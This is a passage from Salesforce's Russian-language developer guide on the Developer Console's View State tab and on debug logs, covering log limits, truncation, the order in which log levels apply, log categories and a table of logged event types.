задачам, рекомендуем создать собственную перспективу. Дополнительную информацию см. в разделе «Создание
настраиваемых перспектив в представлении Log Inspector».

СМ. ТАКЖЕ:

Log Inspector

Создание настраиваемых перспектив в представлении Log Inspector
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Вкладка View State
Вкладка View State консоли разработчика позволяет проверять состояние просмотра для запроса страницы Visualforce.

Вкладка View State консоли разработчика используется также как вкладка «Состояние просмотра» в нижнем колонтитуле
режима разработки Visualforce, кроме двойного нажатия узла папки, которое не инициирует открытия окна секторной
диаграммы использования. Дополнительную информацию см. в подразделе «Сведения о вкладке View State» Руководства
разработчика Visualforce.

Включение вкладки View State

Чтобы включить вкладку View State, выполните указанные ниже действия.

1. На странице личных параметров введите строку «Дополнительные сведения о пользователе» в поле «Быстрый поиск»,
затем выберите «Дополнительные сведения о пользователе». Нет результатов? Введите строку «Личные сведения»
в поле «Быстрый поиск» и выберите пункт «Личные сведения».

2. Нажмите кнопку «Правка».

3. Установите флажок «Режим разработки».

4. Установите флажок «Показать состояние просмотра в режиме разработки».

5. Нажмите кнопку «Сохранить».

Прим.: Состояние просмотра связано с даннымиформы, поэтому вкладка View State отображается только при
наличии тега <apex:form> на странице. Кроме того, вкладка View State отображается только на страницах,
использующих настраиваемые контроллеры или расширения контроллера.
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Журналы отладки

Использование журналов отладки

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Performance Edition,
Unlimited Edition,
Developer Edition,
Enterprise Edition и
Database.com Edition.

Пользовательский
интерфейс Salesforce,
службы эл. почты и
утверждения недоступны в
версии Database.com
Edition.

ПОЛНОМОЧИЯ ПОЛЬЗОВАТЕЛЯ

«Просмотр всех данных»Для использования консоли разработчика:

«Автор Apex»Для выполнения анонимного Apex:

«API включен»Для использования функции поиска кода и
выполнения SOQL или SOSL на вкладке
запроса:

«Автор Apex»Для сохранения изменений в классах и
триггерах Apex:

«Настройка приложения»Для сохранения изменений на страницах и
в компонентах Visualforce:

«Настройка приложения»Для сохранения изменений в ресурсах
Lightning:

Журнал отладки может регистрировать операции базы данных, системные процессы и
ошибки, возникающие при выполнении транзакции или поблочных тестов. Ниже
перечислены компоненты, сведения о которых могут быть доступны в журналах отладки.

• Изменения базы данных

• Выноски HTTP

• Ошибки Apex

• Ресурсы, используемые кодом Apex

• Автоматические бизнес-процессы, например:

– Бизнес-правила

– Правила назначения

– Процессы утверждения

– Правила проверки

Прим.: В журнал отладки не входят сведения от действий, инициируемых контролируемыми по времени
бизнес-правилами.

Система создает журнал отладки при каждом выполнении транзакции, добавленной в заданный критерийфильтрации.

Ниже перечислены компоненты, которые могут использоваться для создания транзакций.

• Пользовательский интерфейс Salesforce

• API

• Вызовы executeanonymous

• Веб-службы

• Службы эл. почты
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Критерий фильтрации, заданный для пользователя, консоли разработчика или заголовка API, определяет сведения,
которые должны быть добавлены в журнал отладки.

Прим.: Журналы отладки не регистрируют транзакции, инициированные преобразованием интереса. Например,
бизнес-правило, инициированное преобразованным интересом, не регистрируется журналом отладки.

Ниже приведены примеры использования журнала отладки.

• Пользователь является разработчиком настраиваемого приложения и использует журнал отладки для проверки
алгоритмов приложения. Например, разработчик может задать фильтр журнала отладки для проверки выносок, а
затем просмотреть сведения об успешности и длительности данных выносок в журнале отладки.

• Пользователь является администратором организации и использует журнал отладки для исправления ошибок,
найденныхконечнымпользователем. Администраторможетотслеживатьжурналыотладкидляданногопользователя,
выполнить связанную транзакцию, а затем просмотреть системные сведения в журнале отладки.

Ограничения для журналов отладки
Ниже перечислены ограничения, действующие для журналов отладки.

• Каждый журнал отладки должен составлять 2 МБ или меньше. Журналы отладки размером более 2 Мб усекаются
путем удаления первых строк журнала (например, строки журнала для первых операторов System.debug). Строки
журнала могут быть удалены из любой области (не только из начала журнала отладки).

• Каждая организация может сохранять журналы отладки общим размером не более 50 МБ. При достижении данного
ограничения первые журналы отладки перезаписываются.

Усечение журнала отладки
Чтобы предоставлять пользователям доступ к наиболее важным сведениям, журналы отладки усекаются по первым
записям. Последние записи всегда сохраняются. При достижении размера, равного 2 Мб, журнал отладки усекается на
200 Кб.

Нижеперечисленысобытия, необходимыедляобработкижурналаотладкиисвязанныеснеудаляемымизаписямижурнала.

• EXECUTION_STARTED

• EXECUTION_FINISHED

• CODE_UNIT_STARTED

• CODE_UNIT_FINISHED

• METHOD_ENTRY

• METHOD_EXIT

• CONSTRUCTOR_ENTRY

• CONSTRUCTOR_EXIT

• SOQL_EXECUTE_BEGIN

• SOQL_EXECUTE_END

• SOSL_EXECUTE_BEGIN

• SOSL_EXECUTE_END

• CALLOUT_REQUEST

• CALLOUT_RESPONSE

• FATAL_ERROR
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Прим.: Записи журнала для событий, являющихся обязательными для обработки журнала отладки, не могут быть
усеченыили удалены; темнеменее, сведенияжурнала, отображающиесямеждуначальнымии конечнымистроками
данных записей, удаляются в процессе усечения.

СМ. ТАКЖЕ:

Поиск по журналу отладки

Порядок очередности журнала отладки

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Регистрируемые события определяются разнымифакторами. К даннымфакторам
относятся: флаги трассировки, стандартные уровни регистрации, заголовок API,
включение журнала системы на основе пользователя и уровни журнала, настроенные
точками входа.

Ниже приведен порядок очередности для уровней журнала отладки.

1. Флагитрассировкипереопределяютвседругиелогическиеоперацииведенияжурнала.
Консоль разработчика настраивает флаг трассировки во время загрузки; данный
флагтрассировкисохраняетсядоистечениясрокаегодействия. Выможетеустановить
флаги трассировки в Консоли разработчика или в разделе «Настройки» либо путем
использования объектов API оснастки TraceFlag и DebugLevel.

Прим.: Настройка флагов трассировки по классу и триггеру не инициирует
создание или сохранение журналов. Флаги трассировки по классу и триггеру
переопределяют другие уровни ведения журнала, в том числе уровнижурнала,
определенныефлагамитрассировкипопользователю, однакоприэтомжурнал
не ведется. Если регистрация включается во время выполнения классов или
триггеров, то журналы создаются на момент выполнения.

2. При отсутствии активных флагов трассировки синхронные и асинхронные тесты Apex выполняются посредством
стандартных уровней регистрации. Ниже перечислены стандартные уровни регистрации.

DB
INFO

APEX_CODE
DEBUG

APEX_PROFILING
INFO

WORKFLOW
INFO

VALIDATION
INFO

CALLOUT
INFO

VISUALFORCE
INFO

SYSTEM
DEBUG
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3. При отсутствии соответствующих активных флагов трассировки и выполняемых тестов уровни регистрации
настраиваются заголовком API. Запросы API, отправляемые без заголовков отладки, создают временные журналы
(журналы, которые не сохраняются), кроме случаев применения другого правила регистрации.

4. Настройка уровня журнала точкой входа инициирует использование данного уровня журнала. Например, запросы
Visualforce могут содержать параметр отладки, настраивающий уровни журнала.

В других случаях система препятствует созданию или сохранению журналов.

СМ. ТАКЖЕ:

Настройка функции ведения журналов отладки

Вкладка Logs

Уровни журнала отладки

Руководство разработчика Force.com Tooling API: TraceFlag

Руководство разработчика Apex: DebuggingHeader

Уровни журнала отладки

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ ПОЛЬЗОВАТЕЛЯ

«Просмотр всех данных»Для использования консоли разработчика:

«Автор Apex»Для выполнения анонимного Apex:

«API включен»Для использования функции поиска кода и
выполнения SOQL или SOSL на вкладке
запроса:

«Автор Apex»Для сохранения изменений в классах и
триггерах Apex:

«Настройка приложения»Для сохранения изменений на страницах и
в компонентах Visualforce:

«Настройка приложения»Для сохранения изменений в ресурсах
Lightning:

Чтобыуказатьуровеньдетализацииданных, которыебудутвключатьсявжурналыотладки, установитефлажкитрассировки
иуровниотладки. Уровниотладки, назначенныедля вашихфлажков трассировки, задаюттипиколичествоинформации,
которая сохраняется вжурналах для различных событий. После занесения события вжурналпроверьте события отладки,
используя журналы отладки.

Уровень отладки представляет собой набор уровней журнала для категорий журнала отладки, например Database,
Workflow, Validation и т. п. Флажок трассировки содержит уровень отладки, время начала, время окончания и тип
журнала. Типы журналов отладки DEVELOPER_LOG, USER_DEBUG и CLASS_TRACING.

ПриоткрытииКонсолиразработчикананейустанавливаетсяфлажоктрассировки DEVELOPER_LOG длязаписидействий
в журнал. Флажки трассировки USER_DEBUG используются для записи действий отдельного пользователя. Флажки
трассировки CLASS_TRACING переопределяют уровни ведения журналов классов и триггеров Apex, но не создают
журналов.
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При использовании консоли разработчика или отслеживаниижурнала отладки выберите уровень детализации данных,
регистрируемых в журнале.

Категорияжурнала
Тип регистрируемых сведений (например, сведения из Apex или бизнес-правил).

Уровеньжурнала
Объем регистрируемых сведений.

Тип события
Категория и уровень журнала, определяющие регистрируемые события. Каждое событие может регистрировать
дополнительные сведения (например, номер строки и символа начала события, связанные поля, продолжительность
события в миллисекундах и т. д.).

Категории журнала отладки
Каждый уровень отладки содержит уровень журнала отладки для каждой из следующих категорий журналов. Объем
сведений, регистрируемых для каждой категории, определяется уровнем журнала.

ОписаниеКатегория журнала

Данная категория содержит сведения о действиях базы данных, включая каждый
оператор DML или встроенный запрос SOQL или SOSL.

Database

Данная категория содержит сведения о бизнес-правилах, потоках и процессах
(например, имя правила, выполненные действия и т. д.).

Workflow

Даннаякатегориясодержитсведенияоправилахпроверки (например, имяправила,
истинность или ложность правила и т. д.).

Validation

Данная категория содержит XML запроса/ответа, отправляемого и принимаемого
сервером от внешней веб-службы. Данная категория предназначена для отладки

Callout

ошибок, связанных с использованием вызовов API веб-службы Force.com, или
поискаиисправлениянеисправностейдоступапользователя к внешнимобъектам
через адаптер OData для Lightning Connect.

ДаннаякатегориясодержитсведенияокодеApexиможетсодержатьтакиесведения,
как сообщения журнала, созданные операторами DML, встроенные запросы SOQL

Apex Code

или SOSL, начало и окончание любых триггеров, начало и окончание любого
метода теста и т. д.

Данная категория содержит сводные сведения о профилировании (например,
ограничения для пространства имен, количество отправленных сообщений эл.
почты и т. д.).

Apex Profiling

ДаннаякатегориясодержитсведенияособытияхVisualforce, включаясериализацию
и десериализацию состояния просмотра или оценку поля формулы на странице
Visualforce.

Visualforce

Даннаякатегориясодержитсведенияовызовахвсехсистемныхметодов (например,
метод System.debug).

System
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Уровни журнала отладки
Каждый уровень отладки содержит один из следующих уровней журналов для каждой категории журнала. Уровни
представленывпорядке возрастания. Конкретные событиярегистрируютсянаоснове категориии уровней. Какправило,
регистрация событий начинается на уровне INFO. Уровень является накопительным, то есть при выборе уровня FINE в
журнал будут также включены все события, зарегистрированные на уровнях DEBUG, INFO, WARN и ERROR.

Прим.: Некоторыекатегорииподдерживаютневсеуровни. Обычноотображаютсятолькоуровни, соответствующие
как минимум одному событию.

• NONE

• ERROR

• WARN

• INFO

• DEBUG

• FINE

• FINER

• FINEST

Важное замечание: Прежде чем начать разработку, убедитесь, что уровню журнала Apex Code не задано значение
FINEST. Впротивномслучае, разработкаможетзанятьбольшевремени, чемпланировалось. Есликонсольразработчика
открыта, то уровнижурналана консолиразработчика влияютна всежурналы, включаяжурналы, созданныево время
разработки.

Типы событий отладки
Ниже приведен пример записи журнала отладки. Событие: USER_DEBUG. Формат: временная отметка  | идентификатор
события.

• временная отметка: содержит время наступления события и значение в скобках. Время отображается в часовом поясе
пользователя в следующемформате: ЧЧ:мм:сс.ССС. Значение отображает время (в миллисекундах), прошедшее
после отправки запроса. Данное значение не отображается в журналах, просматриваемых на консоли разработчика.

• идентификатор события: содержит особое событие, инициирующее запись в журнал отладки (например,
SAVEPOINT_RESET или VALIDATION_RULE), илюбуюсопутствующуюдополнительнуюинформацию (например,
имя метода или номер строки и символа для выполнения кода).

Ниже приведен пример строки журнала отладки.

Пример строкижурнала отладки

Ниже перечислены компоненты идентификатора события, используемые в данном примере.
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• Имя события:

USER_DEBUG

• Номер строки события в коде:

[2]

• Уровень регистрации для метода System.Debug:

DEBUG

• Введенная пользователем строка для метода System.Debug:

Hello world!

Ниже приведен пример строки журнала, инициируемой даннымфрагментом кода.

Фрагмент кода для строкижурнала отладки

Ниже представлена строка журнала, регистрируемая при достижении тестом пятой строки кода.

15:51:01.071 (55856000)|DML_BEGIN|[5]|Op:Insert|Type:Invoice_Statement__c|Rows:1

Ниже перечислены компоненты идентификатора события, используемые в данном примере.

• Имя события:

DML_BEGIN

• Номер строки события в коде:

[5]

• Тип операции DML — Insert:

Op:Insert

• Имя объекта:

Type:Invoice_Statement__c

• Количество строк, переданных в операцию DML:

Rows:1

Таблица ниже содержит регистрируемые типы событий, поля или другие сопутствующие сведения, а также уровень и
категорию журнала, инициирующие регистрацию события.
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УровеньКатегорияПоля или сопутствующие сведенияИмя события

FINESTApex CodeКоличество выделенных байтовBULK_HEAP_ALLOCATE

INFO ивышеCalloutНомер строки и заголовки запросаCALLOUT_REQUEST

INFO ивышеВыноскаВнешняя конечная точка и методCALLOUT_REQUEST

(Доступ к внешнему объекту через адаптер
OData для Lightning Connect)

INFO ивышеCalloutНомер строки и текст ответаCALLOUT_RESPONSE

INFO ивышеВыноскаСтатус и его кодCALLOUT_RESPONSE

(Доступ к внешнему объекту через адаптер
OData для Lightning Connect)

ERROR и
выше

Apex CodeНетCODE_UNIT_FINISHED

ERROR и
выше

Apex CodeНомер строки и имя единицы кода (например,
MyTrigger on Account trigger event
BeforeInsert for [new])

CODE_UNIT_STARTED

FINE и вышеApex CodeНомер строки, код класса Apex и строка
<init>() с типами параметров в скобках

CONSTRUCTOR_ENTRY

FINE и вышеApex CodeНомер строки и строка <init>() с типами
параметров в скобках

CONSTRUCTOR_EXIT

INFO ивышеApex
Profiling

НетCUMULATIVE_LIMIT_USAGE

INFO ивышеApex
Profiling

НетCUMULATIVE_LIMIT_USAGE_END

FINE и вышеApex
Profiling

НетCUMULATIVE_PROFILING

FINE и вышеApex
Profiling

НетCUMULATIVE_PROFILING_BEGIN

FINE и вышеApex
Profiling

НетCUMULATIVE_PROFILING_END

INFO ивышеDBНомер строки, операция (например, Insert,
Update и т. д.), имя или тип записи и
количествострок, переданныхвоперацию DML

DML_BEGIN

INFO ивышеDBНомер строкиDML_END

INFO ивышеApex CodeНомер строкиEMAIL_QUEUE

INFO ивышеApex CodeПространство имен пакетаENTERING_MANAGED_PKG

INFO ивышеApex CodeНомер строки, тип исключения и сообщениеEXCEPTION_THROWN
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УровеньКатегорияПоля или сопутствующие сведенияИмя события

ERROR и
выше

Apex CodeНетEXECUTION_FINISHED

ERROR и
выше

Apex CodeНетEXECUTION_STARTED

ERROR и
выше

Apex CodeТип исключения, сообщение и трассировка
стека

FATAL_ERROR

FINER и
выше

WorkflowКод сеанса, имя элемента, тип действия,
нумерацияиликоддействия, успешностьвызова
действия и сообщение об ошибке

FLOW_ACTIONCALL_DETAIL

FINER и
выше

WorkflowКод сеанса, ссылка, оператор и значениеFLOW_ASSIGNMENT_DETAIL

FINE и вышеWorkflowКод сеанса и тип элементаFLOW_BULK_ELEMENT_BEGIN

FINER и
выше

WorkflowКод сеанса, тип элемента, имя элемента,
количество записей и время выполнения

FLOW_BULK_ELEMENT_DETAIL

FINE и вышеWorkflowКод сеанса, тип элемента, имя элемента и
количество записей

FLOW_BULK_ELEMENT_END

INFO ивышеWorkflowКодорганизации, кодопределенияикодверсииFLOW_CREATE_INTERVIEW_BEGIN

INFO ивышеWorkflowКод сеанса и имя потокаFLOW_CREATE_INTERVIEW_END

ERROR и
выше

WorkflowСообщение, кодорганизации, кодопределения
и код версии

FLOW_CREATE_INTERVIEW_ERROR

FINE и вышеWorkflowКод сеанса, тип элемента и имя элементаFLOW_ELEMENT_BEGIN

FINE и вышеWorkflowТип элемента и имя элементаFLOW_ELEMENT_DEFERRED

FINE и вышеWorkflowКод сеанса, тип элемента и имя элементаFLOW_ELEMENT_END

ERROR и
выше

WorkflowСообщение, тип элемента и имя элемента
(исключение выполнения потоков)

FLOW_ELEMENT_ERROR

ERROR и
выше

WorkflowСообщение, типэлементаиимяэлемента (поток
не найден)

FLOW_ELEMENT_ERROR

ERROR и
выше

WorkflowСообщение, тип элемента и имя элемента
(исключение Flow Designer)

FLOW_ELEMENT_ERROR

ERROR и
выше

WorkflowСообщение, тип элемента и имя элемента
(превышено ограничение Flow Designer)

FLOW_ELEMENT_ERROR

ERROR и
выше

WorkflowСообщение, тип элемента и имя элемента
(исключение выполнения Flow Designer)

FLOW_ELEMENT_ERROR

WARNING и
выше

WorkflowСообщение, тип элемента и имя элемента
(выполненный путь ошибки)

FLOW_ELEMENT_FAULT

INFO ивышеWorkflowКодсеанса, имяпотокаипричинаприостановкиFLOW_INTERVIEW_PAUSED
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УровеньКатегорияПоля или сопутствующие сведенияИмя события

INFO ивышеWorkflowКод сеанса и имя потокаFLOW_INTERVIEW_RESUMED

FINER и
выше

WorkflowКод сеанса, индекс и значение

Индекс — это позиция элемента,
обрабатываемого циклом, в переменной
коллекции.

FLOW_LOOP_DETAIL

FINER и
выше

WorkflowКод сеанса, имя правила и результатFLOW_RULE_DETAIL

INFO ивышеWorkflowКод сеанса и имя потокаFLOW_START_INTERVIEW_BEGIN

INFO ивышеWorkflowКод сеанса и имя потокаFLOW_START_INTERVIEW_END

INFO ивышеWorkflowЗапросыFLOW_START_INTERVIEWS_BEGIN

INFO ивышеWorkflowЗапросыFLOW_START_INTERVIEWS_END

ERROR и
выше

WorkflowСообщение, код сеанса и имя потокаFLOW_START_INTERVIEWS_ERROR

FINER и
выше

WorkflowКод сеанса, имя, код определения и код версииFLOW_SUBFLOW_DETAIL

FINER и
выше

WorkflowКод сеанса, ключ и значениеFLOW_VALUE_ASSIGNMENT

FINER и
выше

WorkflowКод сеанса, имя элемента, имя события и тип
события

FLOW_WAIT_EVENT_RESUMING_DETAIL

FINER и
выше

WorkflowКод сеанса, имя элемента, имя события, тип
события и успешность выполнения условий

FLOW_WAIT_EVENT_WAITING_DETAIL

FINER и
выше

WorkflowКод сеанса, имя элемента и код сохраненного
сеанса

FLOW_WAIT_RESUMING_DETAIL

FINER и
выше

WorkflowКод сеанса, имя элемента, количество событий,
ожидаемых элементом, и код сохраненного
сеанса

FLOW_WAIT_WAITING_DETAIL

FINER и
выше

Apex CodeНомер строки и количество байтовHEAP_ALLOCATE

FINER и
выше

Apex CodeНомер строки и количество освобожденных
байтов

HEAP_DEALLOCATE

FINESTDBНомер строкиIDEAS_QUERY_EXECUTE

FINESTApex
Profiling

Пространствоимениследующиеограничения:

Number of SOQL queries

LIMIT_USAGE_FOR_NS

Number of query rows
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УровеньКатегорияПоля или сопутствующие сведенияИмя события

Number of SOSL queries

Number of DML statements

Number of DML rows

Number of code statements

Maximum heap size

Number of callouts

Number of Email Invocations

Number of fields describes

Number of record type describes

Number of child relationships

describes

Number of picklist describes

Number of future calls

Number of find similar calls

Number of System.runAs()

invocations

FINE и вышеApex CodeНомер строки, код Force.com классаи сигнатура
метода

METHOD_ENTRY

FINE и вышеApex CodeНомер строки, код Force.com классаи сигнатура
метода.

Дляконструктороврегистрируютсяследующие
сведения: номер строки и имя класса.

METHOD_EXIT

INFO ивышеSystemНомер строки, код Force.com класса или
триггера, для которого заданы уровни журнала

POP_TRACE_FLAGS

и который соответствует этим уровням, имя
данного класса или триггера и текущие
параметры уровня журнала.

ERRORApex CodeПространство имен приложения, имя
приложения.

Данноесобытиевыполняетсяприпопыткекода
Apex отправить уведомление приложению,

PUSH_NOTIFICATION_INVALID_APP

5857

Журналы отладкиРасширение Salesforce посредством кода



УровеньКатегорияПоля или сопутствующие сведенияИмя события

которое не существует в организации или не
поддерживает активную доставку.

ERRORApex CodeПространство имен приложения, имя
приложения.

Данное событие указывает на недопустимость
сертификата. Например, при истечении срока
его действия.

PUSH_NOTIFICATION_INVALID_CERTIFICATE

ERRORApex CodeПространство имен приложения, имя
приложения, тип службы (Apple или Android

PUSH_NOTIFICATION_INVALID_NOTIFICATION

GCM), код пользователя, устройство, полезные
данные (подстрока), длина полезных данных.

Данное событие выполняется при слишком
длинных полезных данных уведомления.

DEBUGApex CodeПространство имен приложения, имя
приложения.

Данное событие выполняется при отсутствии
пользователей, имеющихзарегистрированные
устройства.

PUSH_NOTIFICATION_NO_DEVICES

INFOApex CodeДанное событие выполняется при
неиспользовании всплывающих уведомлений
в организации.

PUSH_NOTIFICATION_NOT_ENABLED

DEBUGApex CodeПространство имен приложения, имя
приложения, тип службы (Apple или Android

PUSH_NOTIFICATION_SENT

GCM), код пользователя, устройство, полезные
данные (подстрока).

Данное событие регистрирует принятие
уведомления для отправки. Доставка
уведомления не гарантируется.

INFO ивышеSystemНомер строки, код Force.com класса или
триггера, для которого заданы уровни журнала

PUSH_TRACE_FLAGS

и который не соответствует этим уровням, имя
данного класса или триггера и текущие
параметры уровня журнала.

INFO ивышеDBНомер строкиQUERY_MORE_BEGIN

INFO ивышеDBНомер строкиQUERY_MORE_END

INFO ивышеDBНомер строки и количество итераций
queryMore

QUERY_MORE_ITERATIONS
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УровеньКатегорияПоля или сопутствующие сведенияИмя события

INFO ивышеDBНомер строки и имя точки сохраненияSAVEPOINT_ROLLBACK

INFO ивышеDBНомер строки и имя точки сохраненияSAVEPOINT_SET

INFO ивышеWorkflowКоличество обращений, время загрузки, время
обработки, количество контрольных точек

SLA_END

обращения для вставки/обновления/удаления
и новый триггер

INFO ивышеWorkflowКод контрольной точкиSLA_EVAL_MILESTONE

INFO ивышеWorkflowНетSLA_NULL_START_DATE

INFO ивышеWorkflowКод обращенияSLA_PROCESS_CASE

INFO ивышеDBНомер строки, количество агрегирований и
источник запроса

SOQL_EXECUTE_BEGIN

INFO ивышеDBНомер строки, количество строк и
продолжительность в миллисекундах

SOQL_EXECUTE_END

INFO ивышеDBНомер строки и источник запросаSOSL_EXECUTE_BEGIN

INFO ивышеDBНомер строки, количество строк и
продолжительность в миллисекундах

SOSL_EXECUTE_END

FINE и вышеApex
Profiling

Опорный номер и список переменных в
формате: номер_переменной  | значение. Например:

var1:50

var2:'Hello World'

STACK_FRAME_VARIABLE_LIST

FINER и
выше

Apex CodeНомер строкиSTATEMENT_EXECUTE

FINE и вышеApex
Profiling

Списокпеременныхвформате: номер_переменной
| значение. Например:

var1:50

var2:'Hello World'

STATIC_VARIABLE_LIST

FINE и вышеSystemНомер строки и строка <init>() с типами
параметров в скобках

SYSTEM_CONSTRUCTOR_ENTRY

FINE и вышеSystemНомер строки и строка <init>() с типами
параметров в скобках

SYSTEM_CONSTRUCTOR_EXIT

FINE и вышеSystemНомер строки и сигнатура методаSYSTEM_METHOD_ENTRY

FINE и вышеSystemНомер строки и сигнатура методаSYSTEM_METHOD_EXIT

INFO ивышеSystemИмя режимаSYSTEM_MODE_ENTER
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УровеньКатегорияПоля или сопутствующие сведенияИмя события

INFO ивышеSystemИмя режимаSYSTEM_MODE_EXIT

INFO ивышеApex
Profiling

НетTESTING_LIMITS

FINE и вышеApex
Profiling

Количество отправленных сообщений эл.
почты

TOTAL_EMAIL_RECIPIENTS_QUEUED

DEBUG и
выше по

Apex CodeНомерстроки, уровеньрегистрацииивведенная
пользователем строка

USER_DEBUG

умолчанию.
Если
пользователь
выбирает
уровень
журналадля
метода
System.Debug,
то событие
регистрируется
на данном
уровне.

INFO ивышеValidationСообщение об ошибкеVALIDATION_ERROR

INFO ивышеValidationНетVALIDATION_FAIL

INFO ивышеValidationИсточник формулы и значенияVALIDATION_FORMULA

INFO ивышеValidationНетVALIDATION_PASS

INFO ивышеValidationИмя правилаVALIDATION_RULE

FINESTApex CodeНомер строки, имя переменной, строковое
представление значения переменной и адрес
переменной

VARIABLE_ASSIGNMENT

FINESTApex CodeНомер строки, имя переменной, тип, значение,
определяющее доступность переменной для

VARIABLE_SCOPE_BEGIN

ссылки, изначение, определяющеестатичность
переменной

FINESTApex CodeНетVARIABLE_SCOPE_END

INFO ивышеApex CodeИмя элемента, имя метода и тип результатаVF_APEX_CALL

INFO ивышеVisualforceКод состояния просмотраVF_DESERIALIZE_VIEWSTATE_BEGIN

INFO ивышеVisualforceНетVF_DESERIALIZE_VIEWSTATE_END

FINER и
выше

VisualforceКод состояния просмотра и формулаVF_EVALUATE_FORMULA_BEGIN
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УровеньКатегорияПоля или сопутствующие сведенияИмя события

FINER и
выше

VisualforceНетVF_EVALUATE_FORMULA_END

INFO ивышеApex CodeТекст сообщенияVF_PAGE_MESSAGE

INFO ивышеVisualforceКод состояния просмотраVF_SERIALIZE_VIEWSTATE_BEGIN

INFO ивышеVisualforceНетVF_SERIALIZE_VIEWSTATE_END

INFO ивышеWorkflowОписание действияWF_ACTION

INFO ивышеWorkflowТема задачи, код действия, правило,
ответственный и крайний срок

WF_ACTION_TASK

INFO ивышеWorkflowСводка выполненных действийWF_ACTIONS_END

INFO ивышеWorkflowТип перехода, EntityName: NameField
Id и имя узла процесса

WF_APPROVAL

INFO ивышеWorkflowEntityName: NameField IdWF_APPROVAL_REMOVE

INFO ивышеWorkflowEntityName: NameField IdWF_APPROVAL_SUBMIT

INFO ивышеWorkflowОтветственный и код шаблона назначенногоWF_ASSIGN

INFO ивышеWorkflowEntityName: NameField Id, имяправила,
код правила и тип триггера (если правило
соблюдает типы триггеров)

WF_CRITERIA_BEGIN

INFO ивышеWorkflowЛогическое значение, определяющее успех
(истина или ложь)

WF_CRITERIA_END

INFO ивышеWorkflowКод действия и правилоWF_EMAIL_ALERT

INFO ивышеWorkflowКод шаблона эл. почты, получатели и копии
сообщений эл. почты

WF_EMAIL_SENT

INFO ивышеWorkflowСводка действий в очередиWF_ENQUEUE_ACTIONS

INFO ивышеWorkflowКод обращения и часы работыWF_ESCALATION_ACTION

INFO ивышеWorkflowНетWF_ESCALATION_RULE

INFO ивышеWorkflowИмя процесса, код шаблона эл. почты и
логическоезначение, определяющеерезультат
(истина или ложь)

WF_EVAL_ENTRY_CRITERIA

INFO ивышеWorkflowEntityName: NameField Id иимяобъекта
или поля

WF_FIELD_UPDATE

INFO ивышеWorkflowИсточник формулы и значенияWF_FORMULA

INFO ивышеWorkflowНетWF_HARD_REJECT

INFO ивышеWorkflowОтветственный, тип следующего
ответственного и поле

WF_NEXT_APPROVER

5861

Журналы отладкиРасширение Salesforce посредством кода



УровеньКатегорияПоля или сопутствующие сведенияИмя события

INFO ивышеWorkflowНетWF_NO_PROCESS_FOUND

INFO ивышеWorkflowEntityName: NameField Id, коддействия
и правило

WF_OUTBOUND_MSG

INFO ивышеWorkflowИмя процессаWF_PROCESS_NODE

INFO ивышеWorkflowEntityName: NameField Id и
ответственный

WF_REASSIGN_RECORD

INFO ивышеWorkflowИмя уведомителя, адрес эл. почты уведомителя
и код шаблона уведомителя

WF_RESPONSE_NOTIFY

INFO ивышеWorkflowЦелое число и порядок обозначенияWF_RULE_ENTRY_ORDER

INFO ивышеWorkflowТип правилаWF_RULE_EVAL_BEGIN

INFO ивышеWorkflowНетWF_RULE_EVAL_END

INFO ивышеWorkflowЗначениеWF_RULE_EVAL_VALUE

INFO ивышеWorkflowКритерии фильтрацииWF_RULE_FILTER

INFO ивышеWorkflowEntityName: NameField IdWF_RULE_INVOCATION

INFO ивышеWorkflowНетWF_RULE_NOT_EVALUATED

INFO ивышеWorkflowИмя процессаWF_SOFT_REJECT

INFO ивышеWorkflowТип узлаWF_SPOOL_ACTION_BEGIN

INFO ивышеWorkflowEntityName: NameField Id, действие
времени, контейнер действия времени и
дата/время оценки

WF_TIME_TRIGGER

INFO ивышеWorkflowНетWF_TIME_TRIGGERS_BEGIN

СМ. ТАКЖЕ:

Настройка функции ведения журналов отладки

Фильтрация журналов отладки для классов и триггеров Apex

Поиск по журналу отладки
Чтобы найти нужный текст в журнале отладки, воспользуйтесь окном командной строки на консоли разработчика.

Прежде чем выполнить поиск, рекомендуем выполнить операторы Apex для созданияжурнала в окне командной строки.

1. Чтобы открыть окно командной строки, воспользуйтесь комбинацией клавиш CTRL + L.

2. Чтобы создать журнал, выполните код Apex.

• Чтобы добавить операторы Apex в командную строку, введите exec <операторы Apex>.
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Например:

exec List<Account> accts = new List<Account>();
for (Integer i=0; i<20; i++){
Account a = new Account(name='Account Name ' + i);
accts.add(a);
}

• Чтобы выполнить код, введенный в окно Enter Apex Code, введите exec-r.

3. Чтобы выполнить поиск по конкретному тексту после создания журнала, введите find <строка>.

Например: find Имя организации.

Результаты поиска отображаются в окне командной строки.

4. Чтобы закрыть окно командной строки, воспользуйтесь комбинацией клавиш CTRL + L.

СМ. ТАКЖЕ:

Использование командной строки на консоли разработчика

Фильтрация журналов отладки для классов и триггеров Apex

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Настройка фильтров журнала отладки для классов и триггеров Apex

Фильтрацияжурналовотладки — этомеханизмточнойнастройкидетализациижурнала
на уровне классови триггеров. ДаннаяфункцияпредназначенадляотладкилогикиApex.
Например, чтобы оценить результат сложного процесса, рекомендуем повысить
детализацию журнала для отдельного класса и отключить ведение журнала для других
классов или триггеров одним запросом.

Припереопределенииуровнейжурналаотладкидля классаилитриггераданныеуровни
могут также применяться к вызываемым методам класса и выполняемым в результате
триггерам. Все методы класса и триггеры в выполняемой ветви наследуют параметры
журнала отладки от вызывающего объекта, кроме случаев их переопределения.

Схеманижеотображаетпроцесспереопределенияуровнейжурналаотладкидля классов
и триггеров. Допустим, класс Class1 вызывает ошибки, которые должны быть проанализированы. Соответственно,
уровнямжурналаотладкидля класса Class1 назначается степеньдетализации FINEST. Класс Class3 непереопределяет
данные уровнижурнала, поэтому наследуетфильтры детализированногожурнала для класса Class1. Служебный класс
UtilityClass протестирован и работает корректно, поэтому фильтры журнала отключены. Класс Class2 не
принадлежит ветви кода, вызывающей ошибку, поэтому ведение журнала ограничивается только регистрацией ошибок
